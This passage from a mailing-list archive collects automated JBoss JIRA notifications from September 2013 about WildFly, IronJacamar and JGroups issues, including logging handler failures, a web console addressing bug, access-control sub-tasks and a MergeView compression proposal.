> 	at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:292) [jboss-logmanager-1.4.1.Final.jar:1.4.1.Final]
> 	at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:302) [wildfly-logging-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97) [wildfly-logging-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [wildfly-controller-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [wildfly-controller-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [wildfly-controller-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [wildfly-controller-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:235) [wildfly-controller-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:124) [wildfly-controller-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:148) [wildfly-controller-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.access$300(ModelControllerClientOperationHandler.java:97) [wildfly-controller-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:114) [wildfly-controller-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296) [wildfly-protocol-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518) [wildfly-protocol-8.0.0.Alpha2-SNAPSHOT.jar:8.0.0.Alpha2-SNAPSHOT]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_19]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_19]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_19]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> {noformat}
> This effectively puts the server in a dead state (WFLY-1497 is hiding this issue, because it leaves the handler disabled).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 18:42:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 18:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2025) Remove configurability of
 VaultExpressionSensitivityConfig addressability
In-Reply-To: <JIRA.12500269.1378670809000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500269.1378670809000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500269.1378670809000.29198.1379371323401@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2025?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2025:
-----------------------------------

    Fix Version/s:     (was: 8.0.0.CR1)

    
> Remove configurability of VaultExpressionSensitivityConfig addressability
> -------------------------------------------------------------------------
>
>                 Key: WFLY-2025
>                 URL: https://issues.jboss.org/browse/WFLY-2025
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Kabir Khan
>
> Vault expression apply to attributes, while addressability permissions apply to resources. So the notions are unrelated and the access control configuration API should not conflate them.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 22:17:03 2013
From: jira-events at lists.jboss.org (Jorge Solorzano (JIRA))
Date: Mon, 16 Sep 2013 22:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1875) Merge redhat init.d script
In-Reply-To: <JIRA.12498553.1376482075000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498553.1376482075000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498553.1376482075000.29247.1379384223535@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1875?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jorge Solorzano updated WFLY-1875:
----------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> Merge redhat init.d script
> --------------------------
>
>                 Key: WFLY-1875
>                 URL: https://issues.jboss.org/browse/WFLY-1875
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha1, 8.0.0.Alpha2, 8.0.0.Alpha3, 8.0.0.Alpha4
>         Environment: Red Hat Linux based distros
>            Reporter: Jorge Solorzano
>            Assignee: Brian Stansberry
>            Priority: Trivial
>              Labels: init.d
>             Fix For: 8.0.0.Beta1
>
>
> Currently wildfly has 2 init.d scripts, one for standalone and one for domain mode...
> It should be nice to have only one script that is configurable to start domain or standalone, like the one for debian.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 23:39:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 23:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1083) PreparedStatement cache
 constraints not maintained
In-Reply-To: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500678.1379075076000.29272.1379389143395@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1083?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated JBJCA-1083:
-------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1008763

    
> PreparedStatement cache constraints not maintained
> --------------------------------------------------
>
>                 Key: JBJCA-1083
>                 URL: https://issues.jboss.org/browse/JBJCA-1083
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: JDBC
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.21.Final, 1.1.1.Final
>
>
> The PreparedStatement cache doesn't maintain its constraint on the number of cached entries

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 23:39:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 23:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1083) PreparedStatement cache
 constraints not maintained
In-Reply-To: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500678.1379075076000.29274.1379389143525@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1083?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804881#comment-12804881 ] 

RH Bugzilla Integration commented on JBJCA-1083:
------------------------------------------------

Osamu Nagano <onagano at redhat.com> made a comment on [bug 1008763|https://bugzilla.redhat.com/show_bug.cgi?id=1008763]

Jesper already fixed this in the upstream.
https://issues.jboss.org/browse/JBJCA-1083
https://github.com/ironjacamar/ironjacamar/commit/831367dea16f40e6c697ecf1d2fde745d3fac127

So let's include IronJacamar 1.0.21.Final into the next release of EAP, probably 6.2.0.
                
> PreparedStatement cache constraints not maintained
> --------------------------------------------------
>
>                 Key: JBJCA-1083
>                 URL: https://issues.jboss.org/browse/JBJCA-1083
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: JDBC
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.21.Final, 1.1.1.Final
>
>
> The PreparedStatement cache doesn't maintain its constraint on the number of cached entries

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 23:55:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 23:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2091) Remove host.xml host scoped
	role config
In-Reply-To: <JIRA.12500806.1379390040559@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500806.1379390040559@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500806.1379390040559.29277.1379390103925@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2091:
--------------------------------------

             Summary: Remove host.xml host scoped role config
                 Key: WFLY-2091
                 URL: https://issues.jboss.org/browse/WFLY-2091
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


Remove the functionality where the names of host scoped roles are configured in host.xml to provide info for the host to auto-register itself as part of a role.

This will not be supported in WF 8.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 23:57:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 23:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1820) Report data about what
 resources/attributes/ops a SensitivityClassification or
 ApplicationTypeConfig are applied to
In-Reply-To: <JIRA.12497920.1375654571000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497920.1375654571000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497920.1375654571000.29280.1379390223440@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1820?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1820:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.CR1)

    
> Report data about what resources/attributes/ops a SensitivityClassification or ApplicationTypeConfig are applied to
> -------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1820
>                 URL: https://issues.jboss.org/browse/WFLY-1820
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> Track where the configurable access control constraints are applied and report this data in the management resources used for configuring them.
> A nice-to-have for this first iteration.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 23:57:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 23:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1820) Report data about what
 resources/attributes/ops a SensitivityClassification or
 ApplicationTypeConfig are applied to
In-Reply-To: <JIRA.12497920.1375654571000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497920.1375654571000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497920.1375654571000.29282.1379390223595@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1820?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1820:
-----------------------------------

    Description: Track where the configurable access control constraints are applied and report this data in the management resources used for configuring them.  (was: Track where the configurable access control constraints are applied and report this data in the management resources used for configuring them.

A nice-to-have for this first iteration.)

    
> Report data about what resources/attributes/ops a SensitivityClassification or ApplicationTypeConfig are applied to
> -------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1820
>                 URL: https://issues.jboss.org/browse/WFLY-1820
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> Track where the configurable access control constraints are applied and report this data in the management resources used for configuring them.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 02:45:04 2013
From: jira-events at lists.jboss.org (Osamu Nagano (JIRA))
Date: Tue, 17 Sep 2013 02:45:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2092) Enable and disable feature of
 console for RA connection definitions and admin objects are broken
In-Reply-To: <JIRA.12500809.1379400223120@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500809.1379400223120@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500809.1379400223120.29312.1379400304027@jira02.app.mwc.hst.phx2.redhat.com>

Osamu Nagano created WFLY-2092:
----------------------------------

             Summary: Enable and disable feature of console for RA connection definitions and admin objects are broken
                 Key: WFLY-2092
                 URL: https://issues.jboss.org/browse/WFLY-2092
             Project: WildFly
          Issue Type: Bug
          Components: Web Console
            Reporter: Osamu Nagano
            Assignee: Heiko Braun


Enable and Disable buttons of [Profile > Resource Adapters > View > Connection Definitions] (and Admin Objects too) send requests with wrong addresses.  It results in an unknown error message with the following contents.

{noformat}
Unexpected HTTP response: 500

Request
{
    "address" => [
        ("subsystem" => "resource-adapters"),
        ("resource-adapter" => "wmq.jmsra.rar"),
        ("connection-definitions" => "java:jboss/MQQueueCONNECTIONFACTORY")
    ],
    "operation" => "write-attribute",
    "name" => "enabled",
    "value" => true
}

Response

Internal Server Error
{
    "outcome" => "failed",
    "failure-description" => "JBAS014807: Management resource '[
    (\"subsystem\" => \"resource-adapters\"),
    (\"resource-adapter\" => \"wmq.jmsra.rar\"),
    (\"connection-definitions\" => \"java:jboss/MQQueueCONNECTIONFACTORY\")
]' not found",
    "rolled-back" => true,
    "response-headers" => {"process-state" => "reload-required"}
}
{noformat}

Path values of {{connection-definitions}} and {{admin-objects}} are just their names, not JNDI names.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 02:55:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 17 Sep 2013 02:55:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2092) Enable and disable feature of
 console for RA connection definitions and admin objects are broken
In-Reply-To: <JIRA.12500809.1379400223000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500809.1379400223000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500809.1379400223000.29329.1379400904229@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2092?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804893#comment-12804893 ] 

Heiko Braun commented on WFLY-2092:
-----------------------------------

What as / web console version is it?
                
> Enable and disable feature of console for RA connection definitions and admin objects are broken
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2092
>                 URL: https://issues.jboss.org/browse/WFLY-2092
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Console
>            Reporter: Osamu Nagano
>            Assignee: Heiko Braun
>
> Enable and Disable buttons of [Profile > Resource Adapters > View > Connection Definitions] (and Admin Objects too) send requests with wrong addresses.  It results in an unknown error message with the following contents.
> {noformat}
> Unexpected HTTP response: 500
> Request
> {
>     "address" => [
>         ("subsystem" => "resource-adapters"),
>         ("resource-adapter" => "wmq.jmsra.rar"),
>         ("connection-definitions" => "java:jboss/MQQueueCONNECTIONFACTORY")
>     ],
>     "operation" => "write-attribute",
>     "name" => "enabled",
>     "value" => true
> }
> Response
> Internal Server Error
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management resource '[
>     (\"subsystem\" => \"resource-adapters\"),
>     (\"resource-adapter\" => \"wmq.jmsra.rar\"),
>     (\"connection-definitions\" => \"java:jboss/MQQueueCONNECTIONFACTORY\")
> ]' not found",
>     "rolled-back" => true,
>     "response-headers" => {"process-state" => "reload-required"}
> }
> {noformat}
> Path values of {{connection-definitions}} and {{admin-objects}} are just their names, not JNDI names.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 03:04:08 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 03:04:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2092) Enable and disable feature of
 console for RA connection definitions and admin objects are broken
In-Reply-To: <JIRA.12500809.1379400223000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500809.1379400223000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500809.1379400223000.29348.1379401448469@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2092?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804898#comment-12804898 ] 

RH Bugzilla Integration commented on WFLY-2092:
-----------------------------------------------

Osamu Nagano <onagano at redhat.com> made a comment on [bug 1008823|https://bugzilla.redhat.com/show_bug.cgi?id=1008823]

Deployable RAR file, TestCase.zip, is available as an attachment in case 00944733, though it's a little bit large.
                
> Enable and disable feature of console for RA connection definitions and admin objects are broken
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2092
>                 URL: https://issues.jboss.org/browse/WFLY-2092
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Console
>            Reporter: Osamu Nagano
>            Assignee: Heiko Braun
>
> Enable and Disable buttons of [Profile > Resource Adapters > View > Connection Definitions] (and Admin Objects too) send requests with wrong addresses.  It results in an unknown error message with the following contents.
> {noformat}
> Unexpected HTTP response: 500
> Request
> {
>     "address" => [
>         ("subsystem" => "resource-adapters"),
>         ("resource-adapter" => "wmq.jmsra.rar"),
>         ("connection-definitions" => "java:jboss/MQQueueCONNECTIONFACTORY")
>     ],
>     "operation" => "write-attribute",
>     "name" => "enabled",
>     "value" => true
> }
> Response
> Internal Server Error
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management resource '[
>     (\"subsystem\" => \"resource-adapters\"),
>     (\"resource-adapter\" => \"wmq.jmsra.rar\"),
>     (\"connection-definitions\" => \"java:jboss/MQQueueCONNECTIONFACTORY\")
> ]' not found",
>     "rolled-back" => true,
>     "response-headers" => {"process-state" => "reload-required"}
> }
> {noformat}
> Path values of {{connection-definitions}} and {{admin-objects}} are just their names, not JNDI names.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 03:10:03 2013
From: jira-events at lists.jboss.org (Osamu Nagano (JIRA))
Date: Tue, 17 Sep 2013 03:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2092) Enable and disable feature of
 console for RA connection definitions and admin objects are broken
In-Reply-To: <JIRA.12500809.1379400223000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500809.1379400223000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500809.1379400223000.29368.1379401803772@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2092?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804902#comment-12804902 ] 

Osamu Nagano commented on WFLY-2092:
------------------------------------

It seems the following part is relevant but not sure.  AS7-3259 seems to have introduced this feature.

https://github.com/jbossas/console/blob/develop/gui/src/main/java/org/jboss/as/console/client/shared/subsys/jca/ResourceAdapterPresenter.java#L876
{code}
876:    // https://issues.jboss.org/browse/AS7-3259
877:    public void enOrDisbaleConnection(ResourceAdapter ra, ConnectionDefinition selection) {
878:        ModelNode operation = connectionMetaData.getAddress().asResource(
879:                Baseadress.get(), selectedAdapter, selection.getJndiName());
{code}
                
> Enable and disable feature of console for RA connection definitions and admin objects are broken
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2092
>                 URL: https://issues.jboss.org/browse/WFLY-2092
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Console
>            Reporter: Osamu Nagano
>            Assignee: Heiko Braun
>
> Enable and Disable buttons of [Profile > Resource Adapters > View > Connection Definitions] (and Admin Objects too) send requests with wrong addresses.  It results in an unknown error message with the following contents.
> {noformat}
> Unexpected HTTP response: 500
> Request
> {
>     "address" => [
>         ("subsystem" => "resource-adapters"),
>         ("resource-adapter" => "wmq.jmsra.rar"),
>         ("connection-definitions" => "java:jboss/MQQueueCONNECTIONFACTORY")
>     ],
>     "operation" => "write-attribute",
>     "name" => "enabled",
>     "value" => true
> }
> Response
> Internal Server Error
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management resource '[
>     (\"subsystem\" => \"resource-adapters\"),
>     (\"resource-adapter\" => \"wmq.jmsra.rar\"),
>     (\"connection-definitions\" => \"java:jboss/MQQueueCONNECTIONFACTORY\")
> ]' not found",
>     "rolled-back" => true,
>     "response-headers" => {"process-state" => "reload-required"}
> }
> {noformat}
> Path values of {{connection-definitions}} and {{admin-objects}} are just their names, not JNDI names.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 03:10:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 03:10:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1391) Compress MergeViews
In-Reply-To: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12452753.1321957501000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12452753.1321957501000.29370.1379401803999@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1391?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1391.
----------------------------

    Resolution: Done

    
> Compress MergeViews
> -------------------
>
>                 Key: JGRP-1391
>                 URL: https://issues.jboss.org/browse/JGRP-1391
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> The 'subgroups' field of MergeView is a list of Views, referring to the subclusters that formed the new view.
> Each View in that list contains (1) the creator of the view, (2) an ID and (3) a list of member addresses.
> Both (1) and (3) are present in the new MergeView, so, to save memory and message sizes, 'subgroups' could be compressed: (1) and (3) could be indices into View's 'members' field. 
> Example: if we have MergeView A|22=\{A,B,C,D,E,X,Y,Z\}, subgroups=A|21=\{A,B,C\}, D|19=\{D,E\}, X|20=\{X,Y,Z\},
> then 'subgroups' can be compressed as follows:
> subgroups=0|21=\{0,1,2\}, 3|19=\{3,4\}, 5|20=\{5,6,7\}
> This is possible because the indices never change, as the contents of Views and MergeViews are static, e.g. we can never add or remove a member: to do this, a new View/MergeView would be created.
> Substituting addresses with indices (shorts, possibly using variable-bit encoding) reduces the memory footprint of a view, and the size of a serialized view on the wire.
> Getting the subgroups field, e.g. using method getSubgroups() would synthesize the List<View> just-in-time.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 03:10:04 2013
From: jira-events at lists.jboss.org (Xiaohui Wu (JIRA))
Date: Tue, 17 Sep 2013 03:10:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2093) No any log generated after
 changing periodic-rotating-file-handler to size-rotating-file-handler
In-Reply-To: <JIRA.12500810.1379401775282@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500810.1379401775282@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500810.1379401775282.29375.1379401804556@jira02.app.mwc.hst.phx2.redhat.com>

Xiaohui Wu created WFLY-2093:
--------------------------------

             Summary: No any log generated after changing periodic-rotating-file-handler to size-rotating-file-handler
                 Key: WFLY-2093
                 URL: https://issues.jboss.org/browse/WFLY-2093
             Project: WildFly
          Issue Type: Bug
          Components: Logging
            Reporter: Xiaohui Wu
            Assignee: James Perkins


There is no any log in the server.log after changing periodic-rotating-file-handler to size-rotating-file-handler.
The reproduce steps:
1. remove the part periodic-rotating-file-handler in standalone.xml
            <periodic-rotating-file-handler name="FILE">
                <formatter>
                    <pattern-formatter pattern="%d{HH:mm:ss.SSS} %-5p [%c] (%t) %s%E%n"/>
                </formatter>
                <file relative-to="jboss.server.log.dir" path="server.log"/>
                <suffix value=".yyyy-MM-dd"/>
                <append value="true"/>
            </periodic-rotating-file-handler>
2. add one size-rotating-file-handler
            <size-rotating-file-handler name="FILE" autoflush="true">
                <formatter>
                    <pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p (%c) [%t] %s%E%n"/>
                </formatter>
                <file relative-to="jboss.server.log.dir" path="server.log"/>
                <rotate-size value="500k"/>
                <max-backup-index value="15"/>
                <append value="true"/>
            </size-rotating-file-handler>
3. start the jboss server, then you will see there is a warning in the server.log and no any further logs in the server.log.

13:23:28,205 WARN  [org.jboss.as.logging] (Controller Boot Thread) JBAS011511: Replacing handler 'FILE' during add operation. Either the handler type or the module name differs from the initial configuration.

The possible fix: 

https://issues.jboss.org/browse/WFLY-178 the code change is in https://github.com/wildfly/wildfly/pull/4137 
and the bugzilla is in EAP6.1.0: 
https://bugzilla.redhat.com/show_bug.cgi?id=918103

But this issue still exists in 6.1.1

Best Regards,
Vicky

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 03:12:03 2013
From: jira-events at lists.jboss.org (Osamu Nagano (JIRA))
Date: Tue, 17 Sep 2013 03:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2092) Enable and disable feature of
 console for RA connection definitions and admin objects are broken
In-Reply-To: <JIRA.12500809.1379400223000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500809.1379400223000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500809.1379400223000.29379.1379401923635@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2092?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804903#comment-12804903 ] 

Osamu Nagano commented on WFLY-2092:
------------------------------------

It's been found in EAP 6.1.1, not WildFly.  Here is the version information from the console.

HAL version: 1.5.7.Final-redhat-1
Core version: 1.5.6.Final-redhat-2
Product name: EAP
Product version: 6.1.1.GA
Profile: PRODUCT
                
> Enable and disable feature of console for RA connection definitions and admin objects are broken
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2092
>                 URL: https://issues.jboss.org/browse/WFLY-2092
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Console
>            Reporter: Osamu Nagano
>            Assignee: Heiko Braun
>
> Enable and Disable buttons of [Profile > Resource Adapters > View > Connection Definitions] (and Admin Objects too) send requests with wrong addresses.  It results in an unknown error message with the following contents.
> {noformat}
> Unexpected HTTP response: 500
> Request
> {
>     "address" => [
>         ("subsystem" => "resource-adapters"),
>         ("resource-adapter" => "wmq.jmsra.rar"),
>         ("connection-definitions" => "java:jboss/MQQueueCONNECTIONFACTORY")
>     ],
>     "operation" => "write-attribute",
>     "name" => "enabled",
>     "value" => true
> }
> Response
> Internal Server Error
> {
